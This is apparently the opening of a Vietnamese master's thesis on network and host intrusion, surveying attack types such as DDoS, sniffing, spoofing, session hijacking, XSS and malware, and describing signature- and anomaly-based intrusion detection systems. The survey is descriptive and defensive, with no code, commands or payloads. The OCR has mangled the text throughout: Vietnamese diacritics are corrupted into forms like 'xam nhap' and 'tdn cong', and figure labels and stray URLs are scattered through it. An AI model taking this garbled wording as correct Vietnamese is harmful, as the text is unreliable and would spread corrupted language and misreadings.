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MO PAU

Hién nay céc cudc tan cong xam nhap ngay cang tan dung cac 16 hong, diém yéu
cua hé théng mot cach tinh vi, gay ra mdi de doa téi su an toan thdng tin. Céc cudc
tan coéng cd thé dén tir nhidu hudng theo cac cach khac nhau, do d6 can phai dua ra
cac chinh sach va bién phap dé phong can thiét. Myc dich cudi cing cua an toan bao
mat hé thdng théng tin va tai nguyén theo cac yéu cau sau:[1]

- Pam bao tinh bi mat (Confidentiality): Thong tin khdng thé bi truy nhap
tréi phép boi nhitng ngudi khdng ¢ tham quyén.

- Bam bao tinh nguyén ven (Intergrity): Thong tin khéng thé bi sira ddi, bi
lam gia boi nhimg ngudi khdng cé tham quyen.

- Bam bao tinh sin dung (Availability): Thong tin ludn sin sang dé dap
ng st dung cho ngudi c6 tham quyén.

- Bam bao tinh khdng thé tir chdi (Non-repudiation): Thong tin dugc cam
két v& mat phap luat caa ngudi cung cap.

Luan vin nay nghién ctru cac vé xdm nhap hé thdng théng tin va céc giai phap
phat hién xam nhap hé thdng, phan tich dic tinh, phwong thic hoat dong, danh gia vu
nhuoc diém va tinh tng dung trong thuc té. Ludn vin bao gom 3 chwong véi ndi dung
sau:

Chuong I: Téng quan vé& xam nhap va phat hiém xam nhap. Trinh bay téng quan
xam nhap, cac dang tan cong xam nhap va hé thong phat hién xam nhap.

Chuong II: C4c hé théng phat hién xam nhap. Trinh bay cac hé thong phat hién
xam nhap mang, xam nhap host va xam nhap tich hop. Giéi thiéu mot sé hé théng
tiéu biéu, thanh phan, chirc ning va so sanh cac hé thong nay.

Chuong IIT: Thir nghiém trién khai giai phap phat hién xam nhap tich hop Security
Onion cho mang LAN. Trinh bay vé cac budc trién khai, cai dat thanh phan phéat hién
xam nhap caa hé théng Security Onion. Thir nghiém chay thir véi mot sé kich ban

tan cong xam nhap pho bién.



CHUONG |. TONG QUAN VE XAM NHAP VA PHAT HIEN
XAM NHAP

Chirong I trinh bay vé dinh nghia tan cong, xam nhdp hé thong, khai quét cac
phurong thirc sir dung, muc tidu va tac hai cua no. Tiép dé sé phan logi cac dang tan
cdng, xam nhdp va gidi thiéu cdc phwong thirc tiéu biéu.

1.1. Tong quan vé xam nhap

Trong sudt nhitng ndm qua, chiing ta da chiing kién sy bung n6 cua mang Internet
thwong mai, gieo mam cho mang ky thuat sé toan ciu co tinh twong tac, da tao ra
nhitng thtr tir email dén viéc chira bénh tir xa, tir trinh duyét dén cac mang xa hai, tur
ngan hang truc tuyén cho dén thuong mai dién tir rat phd bién va tién dung.

Véi nhitng bude doi méi dang ké cua cdng nghé mang da gidp ching ta dé dang
thu thap va chia sé thong tin hon va mang lai rat nhiéu gia tri cho con nguoi. Khi
nhitng cong nghé nay ngay cang phd bién rong rai, chi phi doi méi giam xubng, dong
nghia vdi viéc nguoi tiéu dung, cac doanh nghiép vira va nho, tham chi rat nhé cé co
hoi dbi méi, sang tao trén cing nén tang nhu cac doanh nghiép 16n.

Tuy nhién, bén canh nhitng loi ich rat Ién dbi véi ca nhan, x& hoi va doanh nghiép
do cac cudc cach mang s6 mang lai thi hanh d6ng phéa hoai, trom cip va chia r& dén
gian diép va cb tinh pha hoai ciing ty nhién tdn tai trong méi trudng ky thuat sé méi.

Trude day, ha ting mang rat khép kin va mang tinh chuy&n mén. Tuy nhién, ngay
nay, voi su phét trién ciia cac dich vu méi, co s ha ting mang ciing cung cap giao
dién cho cac nha cung cap dich vu bén thir ba va céc giao thic mo dya trén IP duoc
&p dung nhiéu hon. Trudc day, cac thiét bi thuong chay trén phan cang riéng, trai lai,
ngay nay ngay cang nhiéu thiét bi chay trén cac hé diéu hanh va cac bo phan co s ha
tang pho bién. Piéu nay khién cac co sd ha tang mang dé& gap rii ro hon trudc cac
hanh vi tan cong va xam nhap caa toi pham mang.

Toi pham mang tuong tu nhu cac loai toi pham khac, déu cd thu pham va nan
nhan. Dé thyuc hién hanh vi pham toi ching can c6 dong co, co hoi va phuong tién.
Khi cong nghé ngay cang phé bién va ngay cang duoc st dung nhiéu trong céc hoat

dong hang ngay caa quoc gia, doanh nghiép va ca nhan, thi ngay cang nhiéu co hoi



cho toi pham mang hoat dong. Khi kha niang truy cap va két ndi dé dang hon, phuong
tién va co hoi cho cdc hanh vi pham t6i mang ciing tang 1én. Trudc thoi dai Internet,
rat it nguoi biét cach sir dung may tinh va c6 rét it 1y do dé “tin cong” ching. Ngay
nay, c6 thé dé dang truy cap Internet tir thiét bi di dong théng minh, nén phuong tién
va co hoi ciing tir d6 ting 1én dang ké. Hién nay moi ngudi déu duoc két ndi véi nhau
va 6 nhiéu cach sir dung khdng gian 40 phuc vu ca muc dich ca nhan va thuong mai,
ca muc dich tot va xau.

1.1.1. Khai quéat vé tdn céng, xam nhap

Tat ca cac hinh thtc truy cip vao mot hé thong may tinh, website, co s& dir liéu,
ha ting mang, thiét bi caia mot ca nhan hoic to chic thdng qua mang Internet véi
nhitng muc dich nhit dinh duoc coi 1a xam nhap mang.

Khéi niém tin cong mang (hogc “tdn cong khdng gian mang ”) trong tiéng Anh
la Cyber attack (hoac Cyberattack), dugc ghép bai 2 tir: Cyber (thuoc khéng gian
mang internet) va attack (su tin cong, pha hoai). Tan céng mang 1a hanh vi sir dung
khéng gian mang, céng nghé thdng tin hoic phuong tién dién tir dé pha hoai, gay gian
doan hoat dong cua mang vién thong, mang Internet, mang may tinh, hé théng théng
tin, hé thdng xir 1y va diéu khién thong tin, co s¢ dit liéu, phuong tién dién tir.[2]

Co6 2 phuong thirc xdm nhap mang:

- Hiéu theo cach tich cuc (positive way): Kiém thir xdm nhap mang (penetration
testing) 12 phuong phap Hacker mii tring xam nhap vao mét hé théng mang, thiét bi,
website dé tim ra nhitng 16 hong, cac nguy co tan cong nham bao vé ca nhan hoic t6
chuc.

- Hiéu theo cach tiéu cuc (negative way): Tan cong mang (Cyber attack) Ia hinh
thirc, ki thuat Hacker mil den tan cong vao mot hé thong dé thay d6i ddi twong hozc
téng tién.

Muc tiéu ctia mot cudc tan cong mang rat da dang, co thé 1a vi pham dix liéu (danh
cip, thay d6i, ma hoa, pha hay), ciing c6 thé nham téi sy toan ven cua hé thong (gay
gian doan, can tré dich vu), hoic loi dung tai nguyén cua nan nhan (hién thi quang

cao, ma doc dao tién ao).



Téan cdng mang khéac véi kiém thir xam nhap (pentest). Mac du ca 2 déu chi viéc
xam nhap vao mot hé théng, tuy nhién tin cdng mang la xam nhap trai phép gay hai
cho nan nhan, con pentest 14 xdm nhap v&i muc dich tim ra diém yéu bao mat trong
hé thong dé khac phuyc.

1.1.2. Céc dgng tédn cdng, xam nhdp mang

Tan c6ng mang la qua trinh xam nhap trai phép vao hé théng mang vién théng,
mang Internet, mang may tinh, hé théng théng tin, hé thong xu 1y va diéu khién thong
tin, co s& dir liéu, phuong tién dién tr nham chiém duoc mat khau, di liéu, quyén
truy cap hé thong thong tin tir d6 ké tin cong co thé khai thac thdng tin str dung vao
muc dich trai phép.[3] Piéu ndy cd thé gy ra can tro, rdi loan, 1am té liét, gian doan,
ngung tré hoat dong cha sé hitu cua hé théng mang khién ho mat thoi gian, ngudn
lyc va tién bac. Va khong ai an toan 100% trudc cac cudc tin cdbng mang.

Tan cong mang chu yéu qua cac phuong thic phd bién sau:

1.1.2.1.  Tdn cbng tir chai dich vy - DOS

Tan cong tir chdi dich vu 1a mot hanh dong tin cong khién server hoic tai nguyén
mang khéng kha dung véi nguoi dung, thong thuong la 1am gian doan tam thoi dich
vu caa mot host két ndi Internet.

Mic du phuong tién dé tién hanh, dong co, muc tiéu cua tan cong tir chdi dich vu
c6 thé khac nhau, nhung néi chung n6 gdm c6 su phdi hop, su ¢b y cia mot nguoi
hay nhiéu ngudi dé mot trang, hay hé thong mang khéng thé sir dung, lam gian doan,
hoac 1am cho hé thong d6 cham di mot cach dang ké véi ngudi ding binh thuong,
bang cach l1am qua tai tai nguyén cua hé thong. Thi doan pho bién nhat 1a tir may cua
hacker gui dong loat mot lwong 16n request hay yéu cau truy cap téi may chu, lam
cho may chi caa bi qua tai, khong thé hién thi két qua hoac ton rat nhiéu thoi gian dé
gui lai response.

1.1.2.2. T chéi dich vu phan tan — DDOS

DDOS la mot phuong phap tan cong dén server bang cach st dung nhiéu thiét bi,
may tinh khac nhau dé danh sap server. Hién tuong tan cong DDOS Ia khi c6 rat

nhiéu truy cap vao cung 1 ldc, 1am cho dich vu bi gian doan, khong sir dung duoc


https://resources.cystack.net/pentest-la-gi-nhung-dieu-can-biet-ve-kiem-thu-xam-nhap/

server. D4i tugng tin cong DDOS khdng chi str dung may tinh caa minh dé tin cong,
ma chinh may tinh ctia ngudi dung ciing c6 thé dang duoc st dung dé tin cong. Piém
khéc biét 16n nhat gitra DOS va DDOS la thay vi giri request tryc tiép tir may minh,
hacker s& sir dung cac may da bi hack tir truge dé dong loat gui lugng 16n request va
y8u Ccau truy cap téi may chu.
C6 3 loai tan cong DDOS co ban nhu sau:

- T4n cong luu lwong: Loai tin cong sir dung luu lugng truy cip cao dé 1am ngap
bang thong mang.

- T4n cdng cac giao thic: Loai tan cong tap trung vao cac giao thic két ndi khai
thac ngudn tai nguyén may chu.

- T4n cdng (ng dung: Tan cdng nham vao cac tng dung web va duoc coi 1a mot

loai tan cong tinh vi va nghiém trong nhat.
-

DDOS

DOS

Hinh 1.1: Minh hoa tin céng Dos/DDos.

1.1.2.3.  Tdn cong thong qua thu thédp gai tin - Sniffing Attack

Thu thap goi tin 1a qua trinh theo ddi va ndm bat tat ca cac gdi dit liéu dang di qua
mot mang may tinh. Cac gdi tin danh gia (packet sniffers) dugc sir dung dé theo doi
luu lugng dir liéu di qua mang. Ching dugc goi la bo phéan tich giao thac

mang. Nhitng ké tan cong sir dung cac cong cu danh gia goi nay dé nam bat cac goi



dix liéu trong mang. C6 nhiéu loai cng cu do tim khac nhau duoc st dung va ching
bao gom Wireshark ,Ettercap , Better CAP, Tcpdump,WinDump , V.v.

C6 hai kiéu tan cong thu thap do tim Ia danh gia chu dong va danh gia thu dong.

- Panh gi4 tich cuc - day 1a danh gia dwoc tién hanh trén mot mang chuyén
mach. Switch 12 mot thiét bi két ndi hai thiét bi mang véi nhau. Bo chuyén mach sir
dung dia chi diéu khién truy cap phuong tién (MAC) dé chuyén tiép thong tin dén cac
cong dich du kién cua ching.

- banh gid thu dong — sir dung Hubs thay vi Switchs. Hubs thuc hién cung
mét cach nhu Switch duy nhat ma ho str dung dia chi MAC dé doc cac port dich dén
cua dir liéu. Ké tan cong chi can két ndi véi mang LAN va c6 thé danh gia duoc luu
lwong dit liéu trong mang cac théng tin sau: luu lugng e-mail, mat khau FTP, luu

lwong web, telnet mat khau, cau hinh router, cac budi tro chuyén, luu lwgng DNS, wv.

DI LTEU QUAN TRONG

SNIFFING ATTACK

MAY CHO
PC

O

CHUYEN TIEP DU LIEU

) £

KE XAM NHAP

Hinh 1.2:Minh hoa tan céng théng qua thu thdp gdi tin

1.1.2.4.  Tan cdng ra quét cong dich vy, do tim 16 héng

L& hinh thirc tan cdng nham thu thap cac thdng tin vé hé théng muc tiéu, tir d6
phét hién ra cac diém yéu. Cach thac ma ké tan cong tién hanh nhu sau: dau tién dung
ky thuat ping dé kiém tra xem hé théng nan nhan dang c6 nhiing dia chi IP nao dang

hoat dong. Sau d6 ké tan cong sé& kiém tra nhitng dich vu dang chay, nhitng cong dang



ma trén nhimg dia chi IP tim thay & trén. Cong cu ma ké tan cong thuong sir dung &
budc nay la Nmap.

Sau khi x4c dinh duoc nhiing cong dang ma, ké tin cong s& guri cac truy van téi
cac cong nay dé biét duoc thong tin vé cac phan mém, hé diéu hanh dang chay. Sau
khi c6 trong tay cac thong tin nay, ké tan cong sé& tim cach khai thac cac 16 héng dang
ton tai trén hé thong do.

1.1.2.5.  Tdn cbng vao tai khodn, mdt khau

T4n cong vao tai khoan, mat khau hay T4n cong brute force 1a mot trong nhitng
phuong phap hack don gian va it phic tap nhat. Day 1a kiéu tdn cong thu cong va
khong co nhiéu ki thuét phtrc tap: thur dodn mat khiu vo s6 1an dé tim ra mat khau
dung. Ké tan cong cb ging gianh quyén truy cdp vao tai khoan ngudi dung bang cach
doan tén username/email va mat khau. Thong thuong, dong co ding sau brute force
attack 1a su dung tai khoan bi vi pham dé thuc hién mét cudc tin cong quy mo 16n,
danh cip dir liéu nhay cam, tit hé thong hodc két hop ca ba yéu t6 nay véi nhau.

1.1.2.6. Tdn cbng thdng qua gid mao - Spoofing Attack

Khi thu thap, ké tan céng quan sét luu luong dit liéu cua mang va bat cac goi di
liéu bang céach str dung trinh danh gia g6i. Ké tan cong sé gia mao danh cip thong tin
dang nhap cia ngudi dung dé khai thac voi tu cach 1a ngudi ding hop phép.

- Gia mao dia chi IP

Khi mét may tinh ¢ bén ngoai hé théng mang gia mao 1a mot may tinh dang tin
cay trong hé thong, hanh dong nay cua ké tin cong duoc goi 1a gia mao IP (IP
Spoofing). Bé truy cap vao hé thong mang, may tinh bén ngoai phai “gianh” duoc
mét dia chi IP tin cay trén hé théng mang.

- Gia mao giao thuc ARP

Trong mang may tinh, gia mao giao thic ARP (ARP cache poisoning, hay ARP
poison routing), 1a mot k§ thuat qua d6 ké tan cong gia thong diép ARP trong mang
cuc bd. Muc tiéu 1a két hop dia chi MAC cua ké tan cong véi dia chi IP cia may cha

lam cho bat ky luu lugng truy cip nao danh cho dia chi IP d6 duoc giri dén ké tan


https://vi.wikipedia.org/wiki/M%E1%BA%A1ng_c%E1%BB%A5c_b%E1%BB%99
https://vi.wikipedia.org/wiki/M%E1%BA%A1ng_c%E1%BB%A5c_b%E1%BB%99

cong. Gia mao giao thuc ARP c6 thé cho phép ké tin cong chan céc khung dit liéu
trén mang, stra d6i luu lwgng, hodc dung tat ca luu luong.

- Gia mao gidi thiéu

Gia mao giai thiéu (Referrer spoofing) 1a viéc gui thong tin gigi thiéu khéng chinh
X&c trong mot yéu cau HTTP nham ngian mot trang web iy duoc dit liéu chinh xéac
vé danh tinh cua trang web ma nguoi dung da truy cap trude do. Ngudi dung s& dugc
chuyén thong tin dén trang web khong dang tin cay voi ndi dung doc hai.

- Gia mao dia ly

Gia mao dija ly (Geolocation spoofing) xay ra khi ddi twgng xam nhap ap dung
cac cong nghé lam cho ching & mot noi nao d6 khac vai vi tri thuc su. Gia mao vi tri

dia ly thuong thong qua viéc st dung Mang riéng ao (VPN) hoac DNS Proxy.

o
\POOFING ATTACK
KE XAM NHAP . n ﬂ eoe n

NAN NHAN MAY CHU DUF LIEU

Hinh 1.3:Minh hoa cdc phirong thirc tdn cong théng qua gid mao

1.1.2.7. Tdn cbng chiém quyén diéu khién phién hoat déng - Session Hijacking

Tan cong phién 1a qua trinh chiém lay mot phién (session) dang hoat dong, muc
dich nham vuot qua qué trinh chiing thuc truy cap khdng hop 1é vao dich vu caa mot
hé théng may tinh.

C6 4 phuong phap chinh dugc sir dung tan céng chiém phién hoat dong la:

- C4 dinh phién - Session fixation 12 mot phuong thuc tan cong ma hacker sir dung
bang cach danh cap va gia mao session ID tir ngudi ding. Server va browser sé hiéu
vé6i nhau thong qua session 1D, vay nén server s& phan biét duoc ngudi ding véi moi
HTTP request. Bang cac k¥ thuat tan cong ké xam nhap c6 thé truy cap session 1D

ctia nguoi dung khac, va c6 thé mao danh nguoi ding khac.


https://en.wikipedia.org/wiki/Domain_Name_System
https://en.wikipedia.org/wiki/Session_fixation

- Chiém phién théng qua gai tin - Session Sidejacking la cach ké xam nhap sir
dung théng tin xac thuc nhan dang trai phép dé chiém quyén diéu khién phién sir dung
hop 1é tir xa nham chiém quyén diéu khién mot may chu cu thé. Sidejacking sir dung
tinh ning do tim géi tin dé lay cip cookie va doc luu lugng mang.

- Chiém phién théng qua kich ban - Cross-site scripting (XSS) 1a mot kg thuat tan
cdng bang céch chén vao nhilmg website dong (ASP, PHP, CGI, ...) nhitng th¢ HTML
hay nhimg doan ma script nguy hiém c6 thé gay hai cho nhimg nguoi sir dung. XSS
1 loai tan céng phd bién nhat va dang thuc su de doa tdi rat nhiéu nguoi ding web
hién nay.

- Chiém phién thdng qua quyén diéu khién trinh duyét - Browser hijacking la cach
ké xam nhap str dung cac phan mém doc hai sira doi cai dit cua trinh duyét web ma
khéng ¢ su cho phép cua nguoi ding, hodc céc trinh duyét gia mao dé dua quang

cao khdng mong mudn vao phién st dung cua ngudi dung.

PHIEN LAM VIEC E

XSS
CHIEM PHIEN

CHIEM QUYEN TRINH DUYET MAY CHU

NAN NHAN

KE TAN CONG

Hinh 1.4:Minh hoa céc phwong thirc tdn céng chiém phién.

1.1.2.8.  Tdn cong qua I5i tran bé nhé dém - Buffer Overflow Attack
Tan cong thdng qua I3i tran bd nhé dém 1a khi ké xam nhap cung cap cac bién
dau vao hay dit liéu vuot qué kha nang xir Iy caa chuong trinh 1am cho hé théng bi

treo dan dén tir chdi dich vy, tir 46 ké xam nhap sé& lgi dung chén cac thuc thi trai



https://en.wikipedia.org/wiki/Cross-site_scripting
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phép nham thuc hién cac doan ma nguy hiém tir xa. Pa phan cac 15i tran bo nhé dém
dan dén viéc chiém quyén diéu khién toan bo trén hé thong nén day 1a mot kiéu tan
cdng thudng duogc st dung. Tran bo nhd dém xay ra trén nhiéu hé diéu hanh, dic biét
la trén UNIX va Windows, va trén nhiéu ¢ng dung khac nhau nhu web, mail, ftp, dns,
telnet, ssh, database, ...

1.1.3. Céc dgng tédn cdng, xam nhdp host

Tan céng xam nhap host 1a cudc tin céng nham muc tiéu vao mot hé thong hoic
may chu cu thé vi du: may tinh xé&ch tay, may tinh dé ban, dién thoai théng minh, v.v.
Theo théng ké trong nam 2020, thé giGi co t&i 57% cac cudc tan céng vao may chi
2 vi rat, 21% la trojan va 2% la sau, cing véi nhitng loai khac trong d6 c6 5,6 ty tan
cdng bang phan mém doc hai, 304,6 triéu cudc tan cong ransomware, 56,9 triéu cudc
tan cdng phan mém doc hai 10T, 81,9 triéu Cac cudc tin cong Cryptojacking, 3,8 triéu
méi de doa ma hoa. [9]

1.1.3.1.  Tdn c6ng qua phan mém déc hai - Self Propagating Programs

Pay 1a phuong thuc tin cong xam nhap may cha phd bién nhat.

Céc phan mém doc hai (Self-Propagating Programs) cha yéu bao gom [4][6]:

- Vi rt may tinh stra doi cac tép may chu hop phéap khac theo cach ma khi tép cua
nan nhan dugc thuc thi, vi-rat cling dugc thuc thi.

- SAu - Worm d4 t6n tai lau hon ca virus may tinh, thdi ma may tinh dang mainfram
thinh hanh. Nhitng con sau doc hai xuat hién dudi dang tép dinh kém tin nhin Email.

- Trojans cai trang lam chwong trinh hop phéap, nhung ching chira cac kién tric
doc hai. Mot Trojan phai duoc thyuc thi boi nan nhan caa né dé thuc hién céng viéc
caa no.

- Hybrids va Céc hinh thirc khac 1a su két hop cua cac chuong trinh doc hai truyén
thong, thudng bao gdm cac phan cua Trojan va sau va doi khi 1a virus. Cac chuong
trinh phan mém doc hai ngay ¢6 gang stra doi hé diéu hanh co ban dé kiém soét ti

da va an khoi cac chuong trinh chéng phan mém doc hai.
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- Ransomware 14 cac chuong trinh phan mém doc hai ma hoa dit liéu nguoi dung
va gitt n6 1am con tin cho thanh toan tién dién tir. Sau khi duoc thuc thi, ching sé& tim
kiém va ma hoa céc tap tin caa ngudi ding trong vong vai pht.

- Phan mém doc hai khong can tép — Fileless malware 1a phan mém doc hai khong
tryc tiép st dung tép hodc hé thong tép. Thay vao do, chung chi khai thac va phat tan
trong bd nhd hoic sir dung cac ddi tugng non-file OS khac nhu cac registry keys, API
hoac cac tac vu theo lich trinh.

- Phan mém quang céo — Adware va Quang cao doc hai — Malvertising 1a céac
chuong trinh phan mém doc hai ¢6 gang dua nguoi ding cudi bi xam nhap vao cac
quang cao doc hai, khdng mong muén. Mot phan mém quang céo c6 thé chuyén
huéng trinh duyét cua nguoi dung dén trang web khac. Khi ngudi ding nhap vao
quang céo, ma doc s& chuyén hudng ho dén maot trang web doc hai rdi cai dit phan
mém doc hai trén may tinh caa ho.

- Phan mém gian diép — Spyware thudng duoc sir dung boi nhitng nguoi mudn
kiém tra hoat dong trén may tinh cua ngudi khac. Trong céc cudc tin cong c6 chu
dich, t6i pham str dung phan mém gian diép dé ghi lai cac 1an bam phim caa nan nhan
va c6 quyén truy cap vao mat khau hoic théng tin ca nhan.

- Bots va Botnets 1a cac chuong trinh doc hai duoc thiét ké dé xam nhap vao may
tinh va tu dong tra 1oi va thuc hién cac hudng dan nhan duoc tir may chu chi huy va
diéu khién trung tdm. Bots c6 thé tu sao chép (nhu sau) hoic sao chép thdng qua hanh
dong cua ngudi dung (nhu virus va Trojan). Toan bo mang ludi cac thiét bi bi xam
nhap duogc goi la botnet.

- Rootkits dugc lan truyén rong rii va thuong hoat dong nhu mét vo boc cho céc
tién trinh xau dang chay. Toan bo muc dich cua rootkit 1a dé 4n cac chuwong trinh doc
hai dang chay va thyc hién cac hoat dong xau trén hé thong cta nguoi dung (thu thap
dir liéu, danh cap danh tinh, v.v).

1.1.3.2.  Tan cong khai thac cac 16 hong hé diéu hanh, phan mém

Tan cong khai thac cac 16 hong hé diéu hanh, phin mém 1a lgi dung nhimng 15i

hodc diém yeéu trén hé di¢u hanh hay phan mém ctia may tinh, thiét bi router, modem
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hoic trong cac Gmg dung duoc cai dit dé khai thac (exploit) tai nguyén phuc vu cho
muc dich vi pham cac chinh sach bado mat.

Trong nhiéu truong hop, cc 16 hong bao mat bi khai thac trudc khi hang cung
cap hé diéu hanh, phan mém phat hién ra. Bang nhimg cong cu do quét, cac ddi twong
t6i pham mang co thé nhanh chéng phat hién dugc cac 16 hong nay dé tan dung trudce
khi cac ban va chinh hing xuat hién. Nhitng 16 hong thuong chi duoc xtr 1y khi c6
bang chtng bi tin tic khai thac va gy thiét hai. Con nguy co tir 16 hong chua biét thi
van khong duoc kiém tra dé ngin chan.

1.2. Tong quan vé phat hién xam nhap

Cung vai su phat trién ngay cang 16n cua hé thdng thong tin trén nén tang két ndi
toan cau, ké xam nhép ciing phat trién qua nhiéu phwong thtc va che gidu tinh vi hon
khién nguoi dung mang hay cac phuong tién CNTT rat kho c6 thé ty phét hién. Céc
hé théng mang, may chu can phat hién 16 hong khai thac xam nhap va sy xam nhap
truc khi ké tin cong tac dong anh hudng dén hé thdng.

1.2.1. Khai quéat vé phéat hién xam nhdp

Phat hién xam nhap 1a qué trinh giam sat cac su kién (biéu hién) xuat hién trong
mét hé thbng mang hoic trén mot may tinh va phan tich cac dau hiéu cé thé Ia sy xam
pham hozic méi de doa sip xay ra xam pham cac chinh sach an toan an ninh hoic cac
chuan an toan caa mang hoic may tinh .[3]

Phéat hién xam nhap con la kha nang nhan dang xam nhap do cac ca nhan gay ra,
bao gom: nhitng ngudi sir dung hé théng bat hop phéap (“t6i pham may tinh” - hacker)
va nhitng ngudi st dung hop phap nhung lai lam dung cac dic quyén cia minh “de
doa bén trong” nham phé v& dén tinh toan ven, tinh san sang, tinh tin cy cua cac co
ché bao mat hé thdng mang hoic may ch.

Hién nay phan Ién céc thiét bj thong tin déu trang bi co ché bao mat riéng nhung
chua du hiéu qua trudc cac cudc tan cong xdm nhap ngay cang tinh vi va kho phat
hién hon. Mot hé thdng phat hién xam nhap riéng biét s& c6 kha ning phat hién va
canh béo trudc nguy co xam nhap (IDS). Hai thanh phan quan trong nhat cau tao nén

hé thong IDS 12 bo cam nhan (sensor) ¢ chirc nang kiém tra va phan tich luu luong
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trong mang va cac ngudn thong tin khac dé phat hién dau hiéu xam nhap (signature);
signature database 14 co s¢ dit liéu chira dau hiéu cua cac tin cong da duoc phat hién
va phan tich. Co ché 1am viéc cua signature database gidng nhu virus database trong
cac chuong trinh antivirus, do vay, viéc duy tri mot hé théng IDS hiéu qua phai bao
gom viéc cap nhan thudng xuyén co sé dit liéu nay.

1.2.2. Phat hign x&m nhdp mgang va phéat hi¢n xam nhgp host

Hé thdng IDS dua theo kiéu pham vi giam sat duoc phan 1am 2 loai la: Phat hién
xam nhap mang va phat hién xdm nhap host.[3]

1.2.2.1. Phat hi¢n xdm nhgp mang (NIDS - Network -based 1DS)

NIDS thudng duoc dit tai ngd vao cia mang, ¢d thé dung trude hoic sau firewall
trong c4c hé thong mang dé giam sat géi tin trao doi gitra cac thiét bi. Hé thong nay
s& quét tat ca thdng tin ra - vao caa hé théng. NIDS cung cap dit liéu vé hiéu suat
mang noi bo, tdng hop lai cac goi tin va phan tich ching.

Diém yéu cua NIDS 1a gay anh huong dén bang thong mang do truc tiép truy cap
vao luu théng mang. NIDS khong dugc dinh luong dang vé kha ning xir Iy & tro
thanh mét nat that c6 chai gay 4ch tic trong mang. Ngoai ra NIDS con gap kho khin
VGi c4c van dé giao thire truyén nhu viéc phan tach gdi tin (IP fragmentation), hay
viéc diéu chinh théng s6 TTL trong gai tin IP.

1.2.2.2. Phat hi¢n xdm nhdgp host (HIDS — Host -based IDS)

Nhitng hé théng Host-based la kiéu IDS duoc nghién ctiu va trién khai dau tién.
Bang cach cai dat nhitng phan mém IDS trén cac may tram (goi 1a Agent), HIDS c6
thé giam sat toan bo hoat dong cua hé thong, cac log file va luu thong mang di toi
ting may tram. 1DS kiém tra luu thong mang dang duoc chuyén dén may tram, bao
vé may tram thdng qua viéc ngin chin céac goi tin nghi ngd. HIDS ¢6 kha nang kiém
tra hoat dong dang nhap vao may tram, tim kiém céc hoat dong khong binh thudng
nhu do tim mat khau, leo thang dic quyén. Ngoai ra HIDS con c6 thé giam sat sau
vao bén trong Hé diéu hanh ctia may tram dé kiém tra tinh toan ven cta nhan hé diéu

hanh, file luu trir trong hé théng.
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Hé thong HIDS c6 hiéu qua cao khi phét hién viéc nguoi ding st dung sai c4c tai
nguyén trén mang. Néu nguoi ding cb ging thuc hién cac hanh vi khdng hop phép
thi nhitng hé théng HIDS thong thudng phét hién va tap hop thong tin thich hop nhat
va nhanh nhat.

Diém yéu cua HIDS 1a cong kénh. Vi vai ngan may tram trén mot mang 16n, viéc
thu thap va tap hop cac thong tin may tinh dic biét riéng biét cho moi may riéng Ié 1a
khéng c6 hiéu qua. Ngoai ra, néu thu pham vé hiéu hda viéc thu thap dir liéu trén may
tinh thi HIDS trén may dé s€ khong con c¢6 ¥ nghia.

1.2.3. Phat hign xam nhdp dea trén ddu higu va dwa trén bt thwong

Hé thdng IDS dua theo céc trién khai ki thuat thuc hién duoc phan 1am 2 loai 1a:
Phat hién xam nhap dua trén dau hiéu va dwa trén bat thuong.

1.2.3.1.  Phéat hién xam nhdp dua trén ddu hiéu

Phat hién xam nhap dua trén diu hiéu cua hanh vi xam nhap (Signature-based
IDS) thong qua phén tich luu lwgng mang va nhat ky hé thong. K§ thuat nay doi hoi
phai duy tri mot co s dit liéu vé cac dau hiéu xam nhap (signature database), va co
s& dir lieu nay phai dugc cap nhat thuong xuyén moi khi co6 mot hinh thac hoac k§
thuat xam nhap mai.

Signature-based IDS 12 hé st dung dinh nghia triru twong dé mé ta vé tin cong
goi 1a ddu hiéu. DAu hiéu bao gdm mot nhoém céc thdng tin can thiét dé mo ta kiéu
tan cong. Vi du nhu hé théng mang DS c6 thé luu trit trong co sé dit liéu noi dung
cac gbi tin ¢6 lién quan dén kiéu tan cong da biét. Thuong thi dau hiéu dugc luu &
dang cho phép so sanh tryc tiép véi théng tin cé trong chudi su kién.

Trong qué trinh xu 1y, su kién duoc so sanh vai cac muc trong file dau hiéu, néu
thay c6 su gidng nhau thi hé tao ra canh béo. Signature-based 1DS hién nay rat théng
dung vi chiing d& phét trién, cho phan hdi chinh xac vé canh bao va thuong yéu cau
it tai nguyén tinh toan. Tuy nhién, chiing ¢ nhiing diém yéu sau:

- M0 ta vé cudc tin cong thuong & mic d6 thap, kho hiéu.

- MAi cudc tan cdng hay bién thé ctia no déu can thém dau hiéu dua vao co so dir

liu, nén kich c& cua nd s& trd nén rat 16n.
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- Dau hiéu cang cu thé, thi cang tao ra it canh bao nham, nhung cang kho phat
hién nhiing bién thé cua no.

1.2.3.2.  Phét hién xam nhdp dua trén bdt thuong

Phat hién dwa trén bat thuong (Anomaly-based IDS) 1a qua trinh so sanh cac dinh
nghia cua hoat dong duoc xem xét binh thuong so véi su kién quan sat duoc dé xac
dinh cac sai léch quan trong. Thuong la cach so sanh cac hanh vi hién tai véi hoat
dong binh thudng cua hé thdng dé phét hién céc bat thuong (anomaly) cé thé 1a dau
hiéu cua xam nhap.

Pé xac dinh duoc mac d, pham vi tin cdng, hé théng phai duoc day dé nhan ra
hoat dong binh thuong cua hé thdng. Hai giai doan cia phan 16n cac hé thdng phat
hién bat thuong bao gdm giai doan dao tao - noi hd so cac hanh vi binh thudng dugc
xay dung va giai doan thir nghiém - trong d6 Iuu Iugng truy cap hién tai dugc so sanh
V6i hd so duoc tao trong giai doan huan luyén.

Sy bat thudng duoc phat hién theo mot sé cach, thuong 1a bing cac ky thuat sir
dung tri tué¢ nhan tao . Mot phuong phap khac dé xac dinh cach sir dung binh thudng
cua hé thdng bang cach dung mét md hinh toan hoc nghiém ngit va gan cd bat ky sai
léch nao so véi didu nay dugc coi la mot cudc tan cong. Dicu nay duoc goi la phat
hién bat thuong nghiém ngat. Cac k§ thuat khac dugc st dung dé phét hién sy bat
thudng bao gdm phuong phap khai thac dit liéu (Data mining), phuong phap dya trén
ngit phap va hé théng mién dich nhan tao (Artificial Immune System).

Hé thong phat hién xam nhap bat thuong dua trén mang thuong cung cap tuyén
phong thu thir hai dé phét hién luu lugng truy cap bat thuong & 16p vat Iy va 16p mang
sau khi no6 di vuot qua tuong lira hoic thiét bi bao mat khéac trén bién gigi cua
mang. Heé thong phét hién xam nhap bat thudng dya trén may cha 1a mat trong nhing
I6p bao vé cubi cling va nam trén cac diém cudi caa may tinh.

1.3. Két luaAn Chuong |

